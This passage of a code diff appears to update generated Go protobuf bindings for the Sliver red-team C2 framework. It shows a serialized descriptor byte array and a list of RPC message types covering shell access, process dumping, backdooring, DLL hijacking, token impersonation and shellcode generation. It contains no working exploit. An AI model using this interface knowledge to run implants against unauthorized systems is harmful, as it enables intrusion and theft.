0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, + 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, + 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, + 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, + 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, + 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, - 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, - 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, - 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, - 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, - 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, - 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, - 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, - 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, - 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, - 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, - 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, - 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, - 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, - 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, - 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, - 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, - 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, - 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, - 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, - 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, - 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, - 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, - 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, - 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, - 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, - 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, - 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, - 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, - 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, - 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x33, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, + 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61, 0x72, 0x74, 0x52, + 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, + 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, + 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, + 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, + 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, + 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, + 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, + 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, + 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, + 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, + 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, + 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, + 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, + 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, + 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, + 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, + 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, + 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, + 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, + 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, + 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, } var file_rpcpb_services_proto_goTypes = []interface{}{ @@ -704,577 +716,587 @@ var file_rpcpb_services_proto_goTypes = []interface{}{ (*sliverpb.KillReq)(nil), // 2: sliverpb.KillReq (*sliverpb.ReconfigureReq)(nil), // 3: sliverpb.ReconfigureReq (*clientpb.RenameReq)(nil), // 4: clientpb.RenameReq - (*clientpb.MonitoringProvider)(nil), // 5: clientpb.MonitoringProvider - (*clientpb.MTLSListenerReq)(nil), // 6: clientpb.MTLSListenerReq - (*clientpb.WGListenerReq)(nil), // 7: clientpb.WGListenerReq - (*clientpb.DNSListenerReq)(nil), // 8: clientpb.DNSListenerReq - (*clientpb.HTTPListenerReq)(nil), // 9: clientpb.HTTPListenerReq - (*clientpb.Beacon)(nil), // 10: clientpb.Beacon - (*clientpb.BeaconTask)(nil), // 11: clientpb.BeaconTask - (*clientpb.KillJobReq)(nil), // 12: clientpb.KillJobReq - (*clientpb.RestartJobReq)(nil), // 13: clientpb.RestartJobReq - (*clientpb.StagerListenerReq)(nil), // 14: clientpb.StagerListenerReq - (*clientpb.Loot)(nil), // 15: clientpb.Loot - (*clientpb.Credentials)(nil), // 16: clientpb.Credentials - (*clientpb.Credential)(nil), // 17: clientpb.Credential - (*clientpb.Host)(nil), // 18: clientpb.Host - (*clientpb.IOC)(nil), // 19: clientpb.IOC - (*clientpb.GenerateReq)(nil), // 20: clientpb.GenerateReq - (*clientpb.ExternalGenerateReq)(nil), // 21: clientpb.ExternalGenerateReq - (*clientpb.ExternalImplantBinary)(nil), // 22: clientpb.ExternalImplantBinary - (*clientpb.ImplantBuild)(nil), // 23: clientpb.ImplantBuild - (*clientpb.GenerateStageReq)(nil), // 24: clientpb.GenerateStageReq - (*clientpb.ImplantStageReq)(nil), // 25: clientpb.ImplantStageReq - (*clientpb.C2ProfileReq)(nil), // 26: clientpb.C2ProfileReq - (*clientpb.HTTPC2ConfigReq)(nil), // 27: clientpb.HTTPC2ConfigReq - (*clientpb.Builder)(nil), // 28: clientpb.Builder - (*clientpb.Event)(nil), // 29: clientpb.Event - (*clientpb.Crackstation)(nil), // 30: clientpb.Crackstation - (*clientpb.CrackBenchmark)(nil), // 31: clientpb.CrackBenchmark - (*clientpb.CrackTask)(nil), // 32: clientpb.CrackTask - (*clientpb.CrackFile)(nil), // 33: clientpb.CrackFile - (*clientpb.CrackFileChunk)(nil), // 34: clientpb.CrackFileChunk - (*clientpb.RegenerateReq)(nil), // 35: clientpb.RegenerateReq - (*clientpb.DeleteReq)(nil), // 36: clientpb.DeleteReq - (*clientpb.ImplantProfile)(nil), // 37: clientpb.ImplantProfile - (*clientpb.MsfStagerReq)(nil), // 38: clientpb.MsfStagerReq - (*clientpb.ShellcodeRDIReq)(nil), // 39: clientpb.ShellcodeRDIReq - (*clientpb.ShellcodeEncodeReq)(nil), // 40: clientpb.ShellcodeEncodeReq - (*clientpb.TrafficEncoder)(nil), // 41: clientpb.TrafficEncoder - (*clientpb.Website)(nil), // 42: clientpb.Website - (*clientpb.WebsiteAddContent)(nil), // 43: clientpb.WebsiteAddContent - (*clientpb.WebsiteRemoveContent)(nil), // 44: clientpb.WebsiteRemoveContent - (*sliverpb.Ping)(nil), // 45: sliverpb.Ping - (*sliverpb.PsReq)(nil), // 46: sliverpb.PsReq - (*sliverpb.TerminateReq)(nil), // 47: sliverpb.TerminateReq - (*sliverpb.IfconfigReq)(nil), // 48: sliverpb.IfconfigReq - (*sliverpb.NetstatReq)(nil), // 49: sliverpb.NetstatReq - (*sliverpb.LsReq)(nil), // 50: sliverpb.LsReq - (*sliverpb.CdReq)(nil), // 51: sliverpb.CdReq - (*sliverpb.PwdReq)(nil), // 52: sliverpb.PwdReq - (*sliverpb.MvReq)(nil), // 53: sliverpb.MvReq - (*sliverpb.CpReq)(nil), // 54: sliverpb.CpReq - (*sliverpb.RmReq)(nil), // 55: sliverpb.RmReq - (*sliverpb.MkdirReq)(nil), // 56: sliverpb.MkdirReq - (*sliverpb.DownloadReq)(nil), // 57: sliverpb.DownloadReq - (*sliverpb.UploadReq)(nil), // 58: sliverpb.UploadReq - (*sliverpb.GrepReq)(nil), // 59: sliverpb.GrepReq - (*sliverpb.ChmodReq)(nil), // 60: sliverpb.ChmodReq - (*sliverpb.ChownReq)(nil), // 61: sliverpb.ChownReq - (*sliverpb.ChtimesReq)(nil), // 62: sliverpb.ChtimesReq - (*sliverpb.MemfilesListReq)(nil), // 63: sliverpb.MemfilesListReq - (*sliverpb.MemfilesAddReq)(nil), // 64: sliverpb.MemfilesAddReq - (*sliverpb.MemfilesRmReq)(nil), // 65: sliverpb.MemfilesRmReq - (*sliverpb.ProcessDumpReq)(nil), // 66: sliverpb.ProcessDumpReq - (*sliverpb.RunAsReq)(nil), // 67: sliverpb.RunAsReq - (*sliverpb.ImpersonateReq)(nil), // 68: sliverpb.ImpersonateReq - (*sliverpb.RevToSelfReq)(nil), // 69: sliverpb.RevToSelfReq - (*clientpb.GetSystemReq)(nil), // 70: clientpb.GetSystemReq - (*sliverpb.TaskReq)(nil), // 71: sliverpb.TaskReq - (*clientpb.MSFReq)(nil), // 72: clientpb.MSFReq - (*clientpb.MSFRemoteReq)(nil), // 73: clientpb.MSFRemoteReq - (*sliverpb.ExecuteAssemblyReq)(nil), // 74: sliverpb.ExecuteAssemblyReq - (*clientpb.MigrateReq)(nil), // 75: clientpb.MigrateReq - (*sliverpb.ExecuteReq)(nil), // 76: sliverpb.ExecuteReq - (*sliverpb.ExecuteWindowsReq)(nil), // 77: sliverpb.ExecuteWindowsReq - (*sliverpb.SideloadReq)(nil), // 78: sliverpb.SideloadReq - (*sliverpb.InvokeSpawnDllReq)(nil), // 79: sliverpb.InvokeSpawnDllReq - (*sliverpb.ScreenshotReq)(nil), // 80: sliverpb.ScreenshotReq - (*sliverpb.CurrentTokenOwnerReq)(nil), // 81: sliverpb.CurrentTokenOwnerReq - (*sliverpb.PivotStartListenerReq)(nil), // 82: sliverpb.PivotStartListenerReq - (*sliverpb.PivotStopListenerReq)(nil), // 83: sliverpb.PivotStopListenerReq - (*sliverpb.PivotListenersReq)(nil), // 84: sliverpb.PivotListenersReq - (*sliverpb.StartServiceReq)(nil), // 85: sliverpb.StartServiceReq - (*sliverpb.StopServiceReq)(nil), // 86: sliverpb.StopServiceReq - (*sliverpb.RemoveServiceReq)(nil), // 87: sliverpb.RemoveServiceReq - (*sliverpb.MakeTokenReq)(nil), // 88: sliverpb.MakeTokenReq - (*sliverpb.EnvReq)(nil), // 89: sliverpb.EnvReq - (*sliverpb.SetEnvReq)(nil), // 90: sliverpb.SetEnvReq - (*sliverpb.UnsetEnvReq)(nil), // 91: sliverpb.UnsetEnvReq - (*clientpb.BackdoorReq)(nil), // 92: clientpb.BackdoorReq - (*sliverpb.RegistryReadReq)(nil), // 93: sliverpb.RegistryReadReq - (*sliverpb.RegistryWriteReq)(nil), // 94: sliverpb.RegistryWriteReq - (*sliverpb.RegistryCreateKeyReq)(nil), // 95: sliverpb.RegistryCreateKeyReq - (*sliverpb.RegistryDeleteKeyReq)(nil), // 96: sliverpb.RegistryDeleteKeyReq - (*sliverpb.RegistrySubKeyListReq)(nil), // 97: sliverpb.RegistrySubKeyListReq - (*sliverpb.RegistryListValuesReq)(nil), // 98: sliverpb.RegistryListValuesReq - (*sliverpb.SSHCommandReq)(nil), // 99: sliverpb.SSHCommandReq - (*clientpb.DllHijackReq)(nil), // 100: clientpb.DllHijackReq - (*sliverpb.GetPrivsReq)(nil), // 101: sliverpb.GetPrivsReq - (*sliverpb.RportFwdStartListenerReq)(nil), // 102: sliverpb.RportFwdStartListenerReq - (*sliverpb.RportFwdListenersReq)(nil), // 103: sliverpb.RportFwdListenersReq - (*sliverpb.RportFwdStopListenerReq)(nil), // 104: sliverpb.RportFwdStopListenerReq - (*sliverpb.OpenSession)(nil), // 105: sliverpb.OpenSession - (*sliverpb.CloseSession)(nil), // 106: sliverpb.CloseSession - (*sliverpb.RegisterExtensionReq)(nil), // 107: sliverpb.RegisterExtensionReq - (*sliverpb.CallExtensionReq)(nil), // 108: sliverpb.CallExtensionReq - (*sliverpb.ListExtensionsReq)(nil), // 109: sliverpb.ListExtensionsReq - (*sliverpb.RegisterWasmExtensionReq)(nil), // 110: sliverpb.RegisterWasmExtensionReq - (*sliverpb.ListWasmExtensionsReq)(nil), // 111: sliverpb.ListWasmExtensionsReq - (*sliverpb.ExecWasmExtensionReq)(nil), // 112: sliverpb.ExecWasmExtensionReq - (*sliverpb.WGPortForwardStartReq)(nil), // 113: sliverpb.WGPortForwardStartReq - (*sliverpb.WGPortForwardStopReq)(nil), // 114: sliverpb.WGPortForwardStopReq - (*sliverpb.WGSocksStartReq)(nil), // 115: sliverpb.WGSocksStartReq - (*sliverpb.WGSocksStopReq)(nil), // 116: sliverpb.WGSocksStopReq - (*sliverpb.WGTCPForwardersReq)(nil), // 117: sliverpb.WGTCPForwardersReq - (*sliverpb.WGSocksServersReq)(nil), // 118: sliverpb.WGSocksServersReq - (*sliverpb.ShellReq)(nil), // 119: sliverpb.ShellReq - (*sliverpb.PortfwdReq)(nil), // 120: sliverpb.PortfwdReq - (*sliverpb.Socks)(nil), // 121: sliverpb.Socks - (*sliverpb.SocksData)(nil), // 122: sliverpb.SocksData - (*sliverpb.Tunnel)(nil), // 123: sliverpb.Tunnel - (*sliverpb.TunnelData)(nil), // 124: sliverpb.TunnelData - (*clientpb.Version)(nil), // 125: clientpb.Version - (*clientpb.Operators)(nil), // 126: clientpb.Operators - (*sliverpb.Reconfigure)(nil), // 127: sliverpb.Reconfigure - (*clientpb.Sessions)(nil), // 128: clientpb.Sessions - (*commonpb.Response)(nil), // 129: commonpb.Response - (*clientpb.MonitoringProviders)(nil), // 130: clientpb.MonitoringProviders - (*clientpb.ListenerJob)(nil), // 131: 